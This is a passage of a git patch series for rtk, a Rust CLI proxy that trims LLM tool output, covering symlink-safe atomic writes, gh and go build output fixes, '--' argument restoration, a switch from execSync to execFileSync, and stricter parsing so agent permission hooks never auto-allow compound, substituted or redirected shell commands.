15:50:17 +0200 Subject: [PATCH 171/257] fix(init): preserve settings.json symlink during atomic write atomic_write() replaced symlinked settings.json with a regular file. Now resolves symlink targets before the tempfile+rename so the link itself is preserved and the real file gets updated. Covers both absolute and relative symlink targets. Closes #653 --- src/hooks/init.rs | 74 ++++++++++++++++++++++++++++++++++++++++++++--- 1 file changed, 70 insertions(+), 4 deletions(-) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 0b18557195..713ad3187e 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -383,13 +383,37 @@ fn write_if_changed(path: &Path, content: &str, name: &str, ctx: InitContext) -> } } +/// Resolve the final write target: if `path` is a symlink, follow it so +/// the atomic rename lands on the real file and the symlink is preserved. +fn resolve_atomic_target(path: &Path) -> Result { + if let Ok(meta) = fs::symlink_metadata(path) { + if meta.file_type().is_symlink() { + let link_target = fs::read_link(path) + .with_context(|| format!("Failed to read symlink target: {}", path.display()))?; + if link_target.is_absolute() { + return Ok(link_target); + } + let parent = path.parent().with_context(|| { + format!( + "Cannot resolve relative symlink for {}: no parent directory", + path.display() + ) + })?; + return Ok(parent.join(link_target)); + } + } + Ok(path.to_path_buf()) +} + /// Atomic write using tempfile + rename /// Prevents corruption on crash/interrupt +/// Follows symlinks so the link itself is preserved. fn atomic_write(path: &Path, content: &str) -> Result<()> { - let parent = path.parent().with_context(|| { + let target = resolve_atomic_target(path)?; + let parent = target.parent().with_context(|| { format!( "Cannot write to {}: path has no parent directory", - path.display() + target.display() ) })?; @@ -403,10 +427,10 @@ fn atomic_write(path: &Path, content: &str) -> Result<()> { .with_context(|| format!("Failed to write {} bytes to temp file", content.len()))?; // Atomic rename - temp_file.persist(path).with_context(|| { + temp_file.persist(&target).with_context(|| { format!( "Failed to atomically replace {} (disk full?)", - path.display() + target.display() ) })?; @@ -5349,6 +5373,48 @@ mod tests { assert_eq!(written, content); } + #[cfg(unix)] + #[test] + fn test_atomic_write_preserves_symlink() { + use std::os::unix::fs::symlink; + + let temp = TempDir::new().unwrap(); + let target_path = temp.path().join("real-settings.json"); + let link_path = temp.path().join("settings.json"); + + fs::write(&target_path, "{}").expect("seed target file"); + symlink(&target_path, &link_path).expect("create symlink"); + + atomic_write(&link_path, "{\"hooks\":{}}").unwrap(); + + let meta = fs::symlink_metadata(&link_path).unwrap(); + assert!(meta.file_type().is_symlink(), "symlink must survive"); + let written = fs::read_to_string(&target_path).unwrap(); + assert_eq!(written, "{\"hooks\":{}}"); + } + + #[cfg(unix)] + #[test] + fn test_atomic_write_preserves_relative_symlink() { + use std::os::unix::fs::symlink; + + let temp = TempDir::new().unwrap(); + let subdir = temp.path().join("real"); + fs::create_dir(&subdir).unwrap(); + let target_path = subdir.join("settings.json"); + let link_path = temp.path().join("settings.json"); + + fs::write(&target_path, "{}").expect("seed target file"); + symlink(Path::new("real/settings.json"), &link_path).expect("create relative symlink"); + + atomic_write(&link_path, "{\"patched\":true}").unwrap(); + + let meta = fs::symlink_metadata(&link_path).unwrap(); + assert!(meta.file_type().is_symlink(), "symlink must survive"); + let written = fs::read_to_string(&target_path).unwrap(); + assert_eq!(written, "{\"patched\":true}"); + } + // Test for preserve_order round-trip #[test] fn test_preserve_order_round_trip() { From f1474b4c12ec3a3d9f8e46b14bfd8b2d70119137 Mon Sep 17 00:00:00 2001 From: "Christian C. Berclaz" Date: Sun, 31 May 2026 11:15:38 +0200 Subject: [PATCH 172/257] fix(init): use fs::canonicalize for symlink resolution MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit Simplify resolve_atomic_target() per review feedback — fs::canonicalize handles chained symlinks, relative paths, and all edge cases. Co-authored-by: Roopesh --- src/hooks/init.rs | 22 +++------------------- 1 file changed, 3 insertions(+), 19 deletions(-) diff --git a/src/hooks/init.rs b/src/hooks/init.rs index 713ad3187e..4c68ec49b2 100644 --- a/src/hooks/init.rs +++ b/src/hooks/init.rs @@ -385,31 +385,15 @@ fn write_if_changed(path: &Path, content: &str, name: &str, ctx: InitContext) -> /// Resolve the final write target: if `path` is a symlink, follow it so /// the atomic rename lands on the real file and the symlink is preserved. -fn resolve_atomic_target(path: &Path) -> Result { - if let Ok(meta) = fs::symlink_metadata(path) { - if meta.file_type().is_symlink() { - let link_target = fs::read_link(path) - .with_context(|| format!("Failed to read symlink target: {}", path.display()))?; - if link_target.is_absolute() { - return Ok(link_target); - } - let parent = path.parent().with_context(|| { - format!( - "Cannot resolve relative symlink for {}: no parent directory", - path.display() - ) - })?; - return Ok(parent.join(link_target)); - } - } - Ok(path.to_path_buf()) +fn resolve_atomic_target(path: &Path) -> PathBuf { + fs::canonicalize(path).unwrap_or_else(|_| path.to_path_buf()) } /// Atomic write using tempfile + rename /// Prevents corruption on crash/interrupt /// Follows symlinks so the link itself is preserved. fn atomic_write(path: &Path, content: &str) -> Result<()> { - let target = resolve_atomic_target(path)?; + let target = resolve_atomic_target(path); let parent = target.parent().with_context(|| { format!( "Cannot write to {}: path has no parent directory", From 41285725e446706204943d826d89e19608df0c03 Mon Sep 17 00:00:00 2001 From: patrick Date: Wed, 27 May 2026 23:37:15 +0200 Subject: [PATCH 173/257] fix(gh): show fallback note when PR/issue body is filtered to empty When `filter_markdown_body()` strips a PR or issue body to empty (body contained only badges, images, HTML comments, or horizontal rules), `format_pr_view` and `format_issue_view` previously skipped the body section silently. Users had no indication that body content had been present and filtered. Now both views emit a fallback note when the filtered body is empty but the raw body was not: PR view: (body contained only badges/images/comments) Issue view: Description: (body contained only badges/images/comments) The 4 added tests cover: - PR body with only badges/images/comments -> fallback note appears - PR body with real content -> no fallback note (sanity) - PR body empty (raw) -> no fallback note (no signal to give) - Issue body badges-only -> fallback note appears Closes #235 Co-authored-by: polaminggkub-debug --- src/cmds/git/gh_cmd.rs | 87 ++++++++++++++++++++++++++++++++++++++++++ 1 file changed, 87 insertions(+) diff --git a/src/cmds/git/gh_cmd.rs b/src/cmds/git/gh_cmd.rs index 156b81e2a1..01cf2ac398 100644 --- a/src/cmds/git/gh_cmd.rs +++ b/src/cmds/git/gh_cmd.rs @@ -434,6 +434,8 @@ fn format_pr_view(json: &Value, ultra_compact: bool) -> String { for line in body_filtered.lines() { out.push_str(&format!(" {}\n", line)); } + } else { + out.push_str("\n (body contained only badges/images/comments)\n"); } } } @@ -694,6 +696,8 @@ fn format_issue_view(json: &Value) -> String { for line in body_filtered.lines() { out.push_str(&format!(" {}\n", line)); } + } else { + out.push_str("\n Description: (body contained only badges/images/comments)\n"); } } } @@ -1547,4 +1551,87 @@ ___ assert!(result.contains("## Test Plan")); assert!(result.contains("Filter HTML comments")); } + + #[test] + fn test_format_pr_view_body_badges_only_shows_fallback_note() { + // PR body that filter_markdown_body would strip entirely: + // HTML comments, badge links, image-only lines, horizontal rules. + let body = "\n\ + [![CI](https://shields.io/badge.svg)](https://ci.example.com)\n\ + ![screenshot](https://example.com/img.png)\n\ + ---\n"; + let json = serde_json::json!({ + "number": 42, + "title": "Test PR", + "state": "OPEN", + "author": { "login": "octocat" }, + "url": "https://github.com/foo/bar/pull/42", + "mergeable": "MERGEABLE", + "body": body, + }); + let out = format_pr_view(&json, false); + assert!( + out.contains("(body contained only badges/images/comments)"), + "expected fallback note when body filters to empty, got:\n{}", + out + ); + } + + #[test] + fn test_format_pr_view_body_with_content_no_fallback_note() { + // Sanity check: real content should NOT trigger the fallback note. + let json = serde_json::json!({ + "number": 42, + "title": "Test PR", + "state": "OPEN", + "author": { "login": "octocat" }, + "url": "https://github.com/foo/bar/pull/42", + "mergeable": "MERGEABLE", + "body": "## Summary\nFix the thing.\n", + }); + let out = format_pr_view(&json, false); + assert!( + !out.contains("(body contained only badges/images/comments)"), + "fallback note should not fire when body has real content, got:\n{}", + out + ); + assert!(out.contains("## Summary")); + assert!(out.contains("Fix the thing.")); + } + + #[test] + fn test_format_pr_view_empty_body_no_fallback_note() { + // Empty body should not trigger the note either (nothing to flag). + let json = serde_json::json!({ + "number": 42, + "title": "Test PR", + "state": "OPEN", + "author": { "login": "octocat" }, + "url": "https://github.com/foo/bar/pull/42", + "mergeable": "MERGEABLE", + "body": "", + }); + let out = format_pr_view(&json, false); + assert!(!out.contains("(body contained only badges/images/comments)")); + } + + #[test] + fn test_format_issue_view_body_badges_only_shows_fallback_note() { + let body = "\n\ + [![status](https://shields.io/s.svg)](https://example.com)\n"; + let json = serde_json::json!({ + "number": 99, + "title": "Test Issue", + "state": "OPEN", + "author": { "login": "octocat" }, + "url": "https://github.com/foo/bar/issues/99", + "body": body, + }); + let out = format_issue_view(&json); + assert!( + out.contains("(body contained only badges/images/comments)"), + "expected fallback note when issue body filters to empty, got:\n{}", + out + ); + } } From f69ad6ed6f3f17b66e203613e3015fee517783f9 Mon Sep 17 00:00:00 2001 From: xiaozh Date: Mon, 1 Jun 2026 00:00:43 +0800 Subject: [PATCH 174/257] fix(go): respect build failure exit status Gate go build success output on the child exit code and surface unrecognized non-zero build output instead of reporting success. Closes #2185. --- src/cmds/go/go_cmd.rs | 68 +++++++++++++++++- src/core/runner.rs | 156 ++++++++++++++++++++++++++++-------------- 2 files changed, 168 insertions(+), 56 deletions(-) diff --git a/src/cmds/go/go_cmd.rs b/src/cmds/go/go_cmd.rs index e962e3e1ca..a39e8bb1bd 100644 --- a/src/cmds/go/go_cmd.rs +++ b/src/cmds/go/go_cmd.rs @@ -92,11 +92,11 @@ pub fn run_build(args: &[String], verbose: u8) -> Result { eprintln!("Running: go build {}", args.join(" ")); } - runner::run_filtered( + runner::run_filtered_with_exit( cmd, "go build", &args.join(" "), - filter_go_build, + filter_go_build_with_exit, crate::core::runner::RunOptions::with_tee("go_build"), ) } @@ -571,6 +571,10 @@ fn is_go_test_failure_line(line: &str) -> bool { /// Filter go build output - show only errors pub(crate) fn filter_go_build(output: &str) -> String { + filter_go_build_with_exit(output, 0) +} + +fn filter_go_build_with_exit(output: &str, exit_code: i32) -> String { let mut errors: Vec = Vec::new(); for line in output.lines() { @@ -581,7 +585,11 @@ pub(crate) fn filter_go_build(output: &str) -> String { } if errors.is_empty() { - return "Go build: Success".to_string(); + return if exit_code == 0 { + "Go build: Success".to_string() + } else { + format_go_build_failure(output, exit_code) + }; } let mut result = String::new(); @@ -604,6 +612,37 @@ pub(crate) fn filter_go_build(output: &str) -> String { result.trim().to_string() } +fn format_go_build_failure(output: &str, exit_code: i32) -> String { + let lines: Vec = output + .lines() + .map(str::trim) + .filter(|line| !line.is_empty()) + .map(str::to_string) + .collect(); + + if lines.is_empty() { + return format!("Go build: failed (exit {})", exit_code); + } + + let mut result = String::new(); + result.push_str(&format!("Go build: failed (exit {})\n", exit_code)); + result.push_str("═══════════════════════════════════════\n"); + + const MAX_GO_BUILD_ERRORS: usize = CAP_ERRORS; + for (i, line) in lines.iter().take(MAX_GO_BUILD_ERRORS).enumerate() { + result.push_str(&format!("{}. {}\n", i + 1, truncate(line, 120))); + } + + if lines.len() > MAX_GO_BUILD_ERRORS { + result.push_str(&format!( + "\n… +{} more output lines\n", + lines.len() - MAX_GO_BUILD_ERRORS + )); + } + + result.trim().to_string() +} + fn is_go_build_error_line(line: &str) -> bool { let trimmed = line.trim(); if trimmed.is_empty() { @@ -646,6 +685,7 @@ fn is_go_build_error_line(line: &str) -> bool { "go: build failed", "go: error ", "error: ", + "pattern ", "go: updates to go.mod needed", "go: inconsistent vendoring", "no go files in ", @@ -991,6 +1031,28 @@ go: cannot load module missing listed in go.work file: open missing/go.mod: no s assert!(result.contains("go: cannot load module missing listed in go.work file")); } + #[test] + fn test_filter_go_build_preserves_package_pattern_errors() { + let output = r#"pattern ./...: directory prefix . does not contain main module or its selected dependencies +pattern ./...: directory prefix . does not contain modules listed in go.work or their selected dependencies"#; + + let result = filter_go_build(output); + assert!(result.contains("2 errors")); + assert!(result.contains("does not contain main module")); + assert!(result.contains("does not contain modules listed in go.work")); + assert!(!result.contains("Success")); + } + + #[test] + fn test_filter_go_build_nonzero_exit_never_reports_success() { + let output = "opaque go build failure from stderr"; + + let result = filter_go_build_with_exit(output, 1); + assert!(result.contains("Go build: failed (exit 1)")); + assert!(result.contains(output)); + assert!(!result.contains("Success")); + } + #[test] fn test_filter_go_vet_no_issues() { let output = ""; diff --git a/src/core/runner.rs b/src/core/runner.rs index 17f0997da0..571c7634b2 100644 --- a/src/core/runner.rs +++ b/src/core/runner.rs @@ -62,12 +62,79 @@ impl<'a> RunOptions<'a> { } } +pub type CaptureFilter<'a> = Box String + 'a>; +pub type ExitAwareCaptureFilter<'a> = Box String + 'a>; + pub enum RunMode<'a> { - Filtered(Box String + 'a>), + Filtered(CaptureFilter<'a>), + FilteredWithExit(ExitAwareCaptureFilter<'a>), Streamed(Box), Passthrough, } +fn run_captured_filter( + mut cmd: Command, + tool_name: &str, + cmd_label: &str, + filter_fn: F, + opts: RunOptions<'_>, + timer: tracking::TimedExecution, +) -> Result +where + F: Fn(&str, i32) -> String, +{ + let stdin_mode = if opts.inherit_stdin { + StdinMode::Inherit + } else { + StdinMode::Null + }; + let result = stream::run_streaming(&mut cmd, stdin_mode, FilterMode::CaptureOnly) + .with_context(|| format!("Failed to run {}", tool_name))?; + + let exit_code = result.exit_code; + let raw = &result.raw; + let raw_stdout = &result.raw_stdout; + + if opts.skip_filter_on_failure && exit_code != 0 { + if !result.raw_stdout.trim().is_empty() { + print!("{}", result.raw_stdout); + } + if !result.raw_stderr.trim().is_empty() { + eprint!("{}", result.raw_stderr); + } + timer.track(cmd_label, &format!("rtk {}", cmd_label), raw, raw); + return Ok(exit_code); + } + + let text_to_filter = if opts.filter_stdout_only { + raw_stdout + } else { + raw + }; + let filtered = filter_fn(text_to_filter, exit_code); + + if let Some(label) = opts.tee_label { + print_with_hint(&filtered, raw, label, exit_code); + } else if opts.no_trailing_newline { + print!("{}", filtered); + } else { + println!("{}", filtered); + } + + let raw_for_tracking = if opts.filter_stdout_only { + raw_stdout + } else { + raw + }; + timer.track( + cmd_label, + &format!("rtk {}", cmd_label), + raw_for_tracking, + &filtered, + ); + Ok(exit_code) +} + pub fn run( mut cmd: Command, tool_name: &str, @@ -79,58 +146,22 @@ pub fn run( let cmd_label = format!("{} {}", tool_name, args_display); match mode { - RunMode::Filtered(filter_fn) => { - let stdin_mode = if opts.inherit_stdin { - StdinMode::Inherit - } else { - StdinMode::Null - }; - let result = stream::run_streaming(&mut cmd, stdin_mode, FilterMode::CaptureOnly) - .with_context(|| format!("Failed to run {}", tool_name))?; - - let exit_code = result.exit_code; - let raw = &result.raw; - let raw_stdout = &result.raw_stdout; - - if opts.skip_filter_on_failure && exit_code != 0 { - if !result.raw_stdout.trim().is_empty() { - print!("{}", result.raw_stdout); - } - if !result.raw_stderr.trim().is_empty() { - eprint!("{}", result.raw_stderr); - } - timer.track(&cmd_label, &format!("rtk {}", cmd_label), raw, raw); - return Ok(exit_code); - } - - let text_to_filter = if opts.filter_stdout_only { - raw_stdout - } else { - raw - }; - let filtered = filter_fn(text_to_filter); - - if let Some(label) = opts.tee_label { - print_with_hint(&filtered, raw, label, exit_code); - } else if opts.no_trailing_newline { - print!("{}", filtered); - } else { - println!("{}", filtered); - } - - let raw_for_tracking = if opts.filter_stdout_only { - raw_stdout - } else { - raw - }; - timer.track( - &cmd_label, - &format!("rtk {}", cmd_label), - raw_for_tracking, - &filtered, - ); - Ok(exit_code) - } + RunMode::Filtered(filter_fn) => run_captured_filter( + cmd, + tool_name, + &cmd_label, + move |text, _| filter_fn(text), + opts, + timer, + ), + RunMode::FilteredWithExit(filter_fn) => run_captured_filter( + cmd, + tool_name, + &cmd_label, + move |text, exit_code| filter_fn(text, exit_code), + opts, + timer, + ), RunMode::Streamed(filter) => { let result = stream::run_streaming(&mut cmd, StdinMode::Null, FilterMode::Streaming(filter)) @@ -182,6 +213,25 @@ where ) } +pub fn run_filtered_with_exit( + cmd: Command, + tool_name: &str, + args_display: &str, + filter_fn: F, + opts: RunOptions<'_>, +) -> Result +where + F: Fn(&str, i32) -> String, +{ + run( + cmd, + tool_name, + args_display, + RunMode::FilteredWithExit(Box::new(filter_fn)), + opts, + ) +} + pub fn run_passthrough(tool: &str, args: &[std::ffi::OsString], verbose: u8) -> Result { if verbose > 0 { eprintln!("{} passthrough: {:?}", tool, args); From 89ae19b1cff8251e1b8a0ed590510bef2688bb7d Mon Sep 17 00:00:00 2001 From: Nicolas Le Cam Date: Wed, 3 Jun 2026 14:01:32 +0200 Subject: [PATCH 175/257] fix(grep): command token duplication in output withsame value filename or positional arg --- src/core/args_utils.rs | 96 +++++++++++++++++++++++------------------- 1 file changed, 52 insertions(+), 44 deletions(-) diff --git a/src/core/args_utils.rs b/src/core/args_utils.rs index f5418b0cc8..e431783fb2 100644 --- a/src/core/args_utils.rs +++ b/src/core/args_utils.rs @@ -1,23 +1,27 @@ //! Utility functions for argument handling, particularly for restoring "--" escape //! arguments that clap consumes during parsing. -/// Restores "--" escape arguments that clap consumed. -/// Handles: -/// - Single/multiple "--" swallowed by clap (restores each at its original position) -/// - "--" already present in parsed (no change) -/// - No "--" in original command (no injection) -/// - Args appearing before/after "--" in original (preserves order) -/// - Interleaved "--" and args (preserves relative positions, e.g., "-- arg1 -- arg2") -/// - Duplicate args on both sides of "--" +/// Restores `--` tokens that clap consumed when using `trailing_var_arg = true`. /// -/// Returns parsed_args unchanged if raw has same or fewer "--" than parsed -/// (meaning clap didn't consume any, or preserved them). +/// Returns `parsed_args` unchanged when `raw_args` has the same or fewer `--` tokens +/// than `parsed_args` (nothing was consumed). Otherwise restores all consumed `--` at +/// their original positions by returning the user-args suffix of `raw_args` verbatim. pub fn restore_double_dash(parsed_args: &[String]) -> Vec { let raw_args: Vec = std::env::args().collect(); restore_double_dash_with_raw(parsed_args, &raw_args) } /// Testable version that takes raw_args explicitly. +/// +/// Precondition: all callers use `trailing_var_arg = true`, which guarantees that +/// `parsed_args` is the exact suffix of `raw_args` minus any `--` tokens that clap +/// stripped. This makes the user-args region length-deterministic: +/// +/// user_region_len = parsed_args.len() + missing_dashes +/// user_region_start = raw_args.len() - user_region_len +/// +/// Returning `raw_args[user_region_start..]` restores all stripped `--` tokens at +/// their original positions without any value-based matching. pub fn restore_double_dash_with_raw(parsed_args: &[String], raw_args: &[String]) -> Vec { let raw_dash_count = raw_args.iter().filter(|a| a.as_str() == "--").count(); let parsed_dash_count = parsed_args.iter().filter(|a| a.as_str() == "--").count(); @@ -26,36 +30,15 @@ pub fn restore_double_dash_with_raw(parsed_args: &[String], raw_args: &[String]) return parsed_args.to_vec(); } - // Find all positions of "--" in raw_args (skip index 0 = "rtk") - let mut dash_positions: Vec = Vec::new(); - for (i, arg) in raw_args.iter().enumerate().skip(1) { - if arg == "--" { - dash_positions.push(i); - } - } + let missing_dashes = raw_dash_count - parsed_dash_count; + let user_region_len = parsed_args.len() + missing_dashes; - if dash_positions.is_empty() { + if raw_args.len() <= user_region_len { return parsed_args.to_vec(); } - // Build result by inserting "--" at correct positions relative to parsed args - let mut result = Vec::new(); - let mut raw_idx = 1; // start after "rtk" - let mut dash_idx = 0; - - while raw_idx < raw_args.len() { - // Check if current position is a "--" that was swallowed - if dash_idx < dash_positions.len() && raw_idx == dash_positions[dash_idx] { - result.push("--".to_string()); - dash_idx += 1; - } else if parsed_args.contains(&raw_args[raw_idx]) { - // This arg is in parsed_args, add it - result.push(raw_args[raw_idx].clone()); - } - raw_idx += 1; - } - - result + let user_region_start = raw_args.len() - user_region_len; + raw_args[user_region_start..].to_vec() } #[cfg(test)] @@ -119,14 +102,6 @@ mod tests { assert_eq!(restore_with_raw(&parsed, &raw), vec!["--", "--"]); } - #[test] - fn test_compound_command_with_dashes() { - // Multiple segments with "--" → restore all - let raw = vec!["rtk", "cmd1", "--", "arg1", "&&", "cmd2", "--", "file"]; - let parsed = vec!["file"]; - assert_eq!(restore_with_raw(&parsed, &raw), vec!["--", "--", "file"]); - } - // ============ "--" already present (no change needed) ============ #[test] @@ -206,6 +181,39 @@ mod tests { assert_eq!(restore_with_raw(&parsed, &raw), vec!["-D", "warnings"]); } + // ============ Positional collision with command token ============ + + #[test] + fn test_positional_equals_subcommand() { + // rtk git diff -- diff: filename "diff" same value as subcommand token + let raw = vec!["rtk", "git", "diff", "--", "diff"]; + let parsed = vec!["diff"]; + assert_eq!(restore_with_raw(&parsed, &raw), vec!["--", "diff"]); + } + + #[test] + fn test_cargo_test_named_cargo() { + // rtk cargo test cargo -- --nocapture: test named "cargo" + let raw = vec!["rtk", "cargo", "test", "cargo", "--", "--nocapture"]; + let parsed = vec!["cargo", "--nocapture"]; + assert_eq!( + restore_with_raw(&parsed, &raw), + vec!["cargo", "--", "--nocapture"] + ); + } + + #[test] + fn test_consecutive_dashes_before_file() { + // rtk git diff -- -- file: stable regardless of how many "--" clap consumed + let raw = vec!["rtk", "git", "diff", "--", "--", "file"]; + // Case A: clap consumed one, kept second as positional + let parsed_a = vec!["--", "file"]; + assert_eq!(restore_with_raw(&parsed_a, &raw), vec!["--", "--", "file"]); + // Case B: clap consumed both + let parsed_b = vec!["file"]; + assert_eq!(restore_with_raw(&parsed_b, &raw), vec!["--", "--", "file"]); + } + // ============ Git diff specific cases ============ #[test] From 1bb17f4fd18ef9470ba5a0c1341a35b26819da39 Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 13:44:03 +0200 Subject: [PATCH 176/257] fix(openclaw): no execSync to avoid async dangerous cmds --- openclaw/index.ts | 10 ++++++---- openclaw/package.json | 5 +---- 2 files changed, 7 insertions(+), 8 deletions(-) diff --git a/openclaw/index.ts b/openclaw/index.ts index 17ea4ec93c..4babe14d8b 100644 --- a/openclaw/index.ts +++ b/openclaw/index.ts @@ -9,14 +9,14 @@ * Rust registry, not this file. */ -import { execSync } from "node:child_process"; +import { execFileSync } from "node:child_process"; let rtkAvailable: boolean | null = null; function checkRtk(): boolean { if (rtkAvailable !== null) return rtkAvailable; try { - execSync("which rtk", { stdio: "ignore" }); + execFileSync("which", ["rtk"], { stdio: "ignore" }); rtkAvailable = true; } catch { rtkAvailable = false; @@ -26,10 +26,12 @@ function checkRtk(): boolean { function tryRewrite(command: string): string | null { try { - const result = execSync(`rtk rewrite ${JSON.stringify(command)}`, { + const result = execFileSync("rtk", ["rewrite", command], { encoding: "utf-8", timeout: 2000, - }).trim(); + }) + .toString() + .trim(); return result && result !== command ? result : null; } catch { return null; diff --git a/openclaw/package.json b/openclaw/package.json index 18d359ff44..8ff76c9a2a 100644 --- a/openclaw/package.json +++ b/openclaw/package.json @@ -22,8 +22,5 @@ "index.ts", "openclaw.plugin.json", "README.md" - ], - "peerDependencies": { - "rtk": ">=0.28.0" - } + ] } From 9664e27038e90730f4ecc52aa2d3b8b8458093e6 Mon Sep 17 00:00:00 2001 From: "rtk-release-bot[bot]" <280461666+rtk-release-bot[bot]@users.noreply.github.com> Date: Wed, 3 Jun 2026 12:37:40 +0000 Subject: [PATCH 177/257] chore(master): release 0.42.1 --- .release-please-manifest.json | 2 +- CHANGELOG.md | 7 +++++++ Cargo.lock | 2 +- Cargo.toml | 2 +- 4 files changed, 10 insertions(+), 3 deletions(-) diff --git a/.release-please-manifest.json b/.release-please-manifest.json index 57953081c6..cede7a525d 100644 --- a/.release-please-manifest.json +++ b/.release-please-manifest.json @@ -1,3 +1,3 @@ { - ".": "0.42.0" + ".": "0.42.1" } diff --git a/CHANGELOG.md b/CHANGELOG.md index 572d8b8cc7..f9003c4175 100644 --- a/CHANGELOG.md +++ b/CHANGELOG.md @@ -5,6 +5,13 @@ All notable changes to rtk (Rust Token Killer) will be documented in this file. The format is based on [Keep a Changelog](https://keepachangelog.com/en/1.0.0/), and this project adheres to [Semantic Versioning](https://semver.org/spec/v2.0.0.html). +## [0.42.1](https://github.com/rtk-ai/rtk/compare/v0.42.0...v0.42.1) (2026-06-03) + + +### Bug Fixes + +* **openclaw:** no execSync to avoid async dangerous cmds ([1bb17f4](https://github.com/rtk-ai/rtk/commit/1bb17f4fd18ef9470ba5a0c1341a35b26819da39)) + ## [0.42.0](https://github.com/rtk-ai/rtk/compare/v0.41.0...v0.42.0) (2026-05-24) diff --git a/Cargo.lock b/Cargo.lock index 8b259e2abe..b71ed64a84 100644 --- a/Cargo.lock +++ b/Cargo.lock @@ -892,7 +892,7 @@ dependencies = [ [[package]] name = "rtk" -version = "0.42.0" +version = "0.42.1" dependencies = [ "anyhow", "automod", diff --git a/Cargo.toml b/Cargo.toml index 5b91bb4cae..6aa2ea2c33 100644 --- a/Cargo.toml +++ b/Cargo.toml @@ -1,6 +1,6 @@ [package] name = "rtk" -version = "0.42.0" +version = "0.42.1" edition = "2021" authors = ["Patrick Szymkowiak"] description = "Rust Token Killer - High-performance CLI proxy to minimize LLM token consumption" From cdcdb6863a3df709603dbed0a6205bf16e4e635f Mon Sep 17 00:00:00 2001 From: aesoft <43991222+aeppling@users.noreply.github.com> Date: Wed, 3 Jun 2026 17:57:29 +0200 Subject: [PATCH 178/257] fix(permissions): never auto-allow not evaluable + defer to the agent MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit - Decompose compound commands for permission checks (newline, background &, subshell `( )`) in addition to &&, ||, ;, | so hidden segments are checked. - `contains_unattestable_construct`: flag command/process substitution and file-target redirects (fd-dup `2>&1` and /dev/null exempt) — RTK can't decompose these, so they are never auto-allowed. - Route every host hook (Claude, VS Code, Gemini, Cursor, Copilot CLI) through a single decision flow. Precedence: Deny → (defer if unattestable) → Allow → Ask → Default. Auto-allow only on a positive Allow; otherwise defer to the host's own engine. - Gemini: ask_user instead of hardcoded allow. Cursor: empty `{}` delegation, since permission:"ask" is not enforced on its sandboxed shell. --- src/discover/lexer.rs | 257 ++++++++++++++++++++++++++ src/hooks/hook_cmd.rs | 383 ++++++++++++++++++++++++++++----------- src/hooks/permissions.rs | 157 +++++++++++++++- src/hooks/rewrite_cmd.rs | 105 +++++++++-- 4 files changed, 772 insertions(+), 130 deletions(-) diff --git a/src/discover/lexer.rs b/src/discover/lexer.rs index 5fb366f3bd..865b74a94a 100644 --- a/src/discover/lexer.rs +++ b/src/discover/lexer.rs @@ -15,6 +15,10 @@ pub struct ParsedToken { } pub fn tokenize(input: &str) -> Vec { + tokenize_inner(input, false) +} + +fn tokenize_inner(input: &str, emit_newline: bool) -> Vec { let mut tokens = Vec::new(); let mut current = String::new(); let mut current_start: usize = 0; @@ -226,6 +230,16 @@ pub fn tokenize(input: &str) -> Vec { }); current_start = byte_pos; } + '\n' | '\r' if emit_newline => { + flush_arg(&mut tokens, &mut current, current_start); + tokens.push(ParsedToken { + kind: TokenKind::Operator, + value: "\n".into(), + offset: byte_pos, + }); + byte_pos += char_len; + current_start = byte_pos; + } c if c.is_whitespace() => { flush_arg(&mut tokens, &mut current, current_start); byte_pos += c.len_utf8(); @@ -258,6 +272,101 @@ fn flush_arg(tokens: &mut Vec, current: &mut String, offset: usize) } } +/// True for constructs the permission gate can't decompose, so they must never +/// be auto-allowed: command/process substitution, or a real file-target redirect +/// (fd-dup like `2>&1` and `/dev/null` are exempt). Separators and subshells are +/// handled by [`split_for_permissions`], not flagged here. +pub fn contains_unattestable_construct(cmd: &str) -> bool { + if contains_substitution(cmd) { + return true; + } + let tokens = tokenize(cmd); + tokens + .iter() + .enumerate() + .any(|(i, tok)| tok.kind == TokenKind::Redirect && redirect_has_file_target(&tokens, i)) +} + +/// Quote-aware: bash runs backtick/`$(...)` unquoted and inside double quotes, +/// but treats single-quoted text literally; `<(`/`>(` is unquoted-only. +fn contains_substitution(cmd: &str) -> bool { + let bytes = cmd.as_bytes(); + let mut in_single = false; + let mut in_double = false; + let mut i = 0; + while i < bytes.len() { + match bytes[i] { + b'\\' if !in_single => { + i += 2; + continue; + } + b'\'' if !in_double => in_single = !in_single, + b'"' if !in_single => in_double = !in_double, + b'`' if !in_single => return true, + b'$' if !in_single && bytes.get(i + 1) == Some(&b'(') => return true, + b'<' | b'>' if !in_single && !in_double && bytes.get(i + 1) == Some(&b'(') => { + return true + } + _ => {} + } + i += 1; + } + false +} + +/// File target unless it's fd-dup (`>&`) or `/dev/null`. +fn redirect_has_file_target(tokens: &[ParsedToken], i: usize) -> bool { + if tokens[i].value.contains(">&") { + return false; + } + match tokens.get(i + 1) { + Some(next) if next.kind == TokenKind::Arg => next.value != "/dev/null", + _ => true, + } +} + +/// Like [`split_on_operators`] but also breaks on newline, background `&`, and +/// subshell `( ... )`, and truncates each segment at its first redirect. +/// Callers must still gate on [`contains_unattestable_construct`] first. +pub fn split_for_permissions(cmd: &str) -> Vec<&str> { + let trimmed = cmd.trim(); + if trimmed.is_empty() { + return vec![]; + } + + let tokens = tokenize_inner(trimmed, true); + let mut results = Vec::new(); + let mut seg_start: usize = 0; + let mut seg_end: Option = None; + + for tok in &tokens { + let is_boundary = match tok.kind { + TokenKind::Operator | TokenKind::Pipe => true, + TokenKind::Shellism => matches!(tok.value.as_str(), "&" | "(" | ")"), + _ => false, + }; + + if is_boundary { + let end = seg_end.take().unwrap_or(tok.offset); + let segment = trimmed[seg_start..end].trim(); + if !segment.is_empty() { + results.push(segment); + } + seg_start = tok.offset + tok.value.len(); + } else if tok.kind == TokenKind::Redirect && seg_end.is_none() { + seg_end = Some(tok.offset); + } + } + + let end = seg_end.unwrap_or(trimmed.len()); + let tail = trimmed[seg_start..end].trim(); + if !tail.is_empty() { + results.push(tail); + } + + results +} + /// Split a shell command on operators (`&&`, `||`, `;`) and optionally pipes (`|`), /// respecting quoted strings via the lexer. /// @@ -1030,4 +1139,152 @@ mod tests { assert!(split_on_operators("", false).is_empty()); assert!(split_on_operators(" ", true).is_empty()); } + + // --- 